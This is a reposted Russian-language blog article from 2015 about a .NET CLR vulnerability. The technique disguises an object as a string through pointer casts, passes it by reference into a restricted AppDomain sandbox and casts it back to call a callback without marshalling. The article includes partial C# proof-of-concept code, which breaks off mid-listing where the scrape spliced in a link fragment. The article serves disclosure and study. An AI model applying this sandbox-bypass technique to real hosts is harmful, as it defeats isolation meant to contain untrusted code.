» » Уязвимость CLR: как затащить объект в песочницу без маршаллинга и вызвать Callback

 

Уязвимость CLR: как затащить объект в песочницу без маршаллинга и вызвать Callback

Автор: admin от 29-01-2015, 12:25, посмотрело: 429

Добрый день! Надеюсь, я уже завоевал на Хабре достижение «узнал автора по заголовку» -) Однако сегодня речь пойдет о свежей, еще не закрытой уязвимости в .Net, на которую меня навел своей мыслью один человек (кто подкинет ему инвайт?), который написал мне на почту:

Вы пытались IL кодом приводить объекты к строковому типу и передавать в другие домены?


Сначала я его не понял, но потом родился пример кода, который пробрасывает любой объект типа, находящегося в SharedDomain в песочницу и позволяет использовать его методы БЕЗ маршаллинга.

Дырой, с одной стороны это назвать достаточно сложно, т.к. почву для этого должен подготовить хост. И не самым обычным способом, надо заметить. Но с другой стороны… Да, это баг.

Первое, что нам понадобится — это ставшие обыденностью, методы EntityPtr.ToPointer() и *.ToInstance() из Уязвимость CLR: как затащить объект в песочницу без маршаллинга и вызвать Callback DotNetEx[/url]. Их комбинация заставляет приводить объект к несовместимому типу. Т.е. к тому типу, которым он не является:
string str = EntityPtr.ToInstance<string>(EntityPtr.ToPointer(new List<int>()));

Естественно, если вызвать любой метод у такой «строки», ничего не получится: вылетит Exception (кроме виртуальных методов от object — их позиции в таблице вирт методов совпадут с переопределенными в нашем типе и вызов произойдет корректно)

Однако, поскольку строка является уже сериализованным объектом, то при маршаллинге она передается по ссылке, без копирования. Это значит, что мы можем прокинуть ее в метод, код которого выполняется в «песочнице» и там, внутри, сделать кастинг обратно в тип.

Начну сразу со вкусного:
[code]
private void methodInsideAppDomain(string str)
{
object tmp = str;
var act = (Action)tmp;
act();
}

public static void Go(string startingIntPtr)
{
// make appdomain
var permissions = new PermissionSet(PermissionState.None);
permissions.AddPermission(new SecurityPermission(SecurityPermissionFlag.Execution));
var dom = AppDomain.CreateDomain("PseudoIsolated", null, new AppDomainSetup
{
ApplicationBase = AppDomain.CurrentDomain.BaseDirectory
}, permissions);

// create object instance
var asmname = typeof (AppDomainRunner).Assembly.FullName;
var typename = typeof (AppDomainRunner).FullName;
var instance = (AppDomainRunner)dom.CreateInstanceAndUnwrap(asmname, typename);

// enumerate objects from outside area to our appdomain area
instance.methodInsideAppDomain(startingIntPtr);
}
}

class Program
{
static void Main(string[] args)
{
Expression[url=http://habrahabr.ru/company/luxoft/blog/248819/]Уязвимость CLR: как затащить объект в песочницу без маршаллинга и вызвать Callback

Источник: Хабрахабр

Категория: Программирование, Информационная безопасность

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Добавление комментария

Имя:*
E-Mail:
Комментарий:
Полужирный Наклонный текст Подчеркнутый текст Зачеркнутый текст | Выравнивание по левому краю По центру Выравнивание по правому краю | Вставка смайликов Выбор цвета | Скрытый текст Вставка цитаты Преобразовать выбранный текст из транслитерации в кириллицу Вставка спойлера
Введите два слова, показанных на изображении: *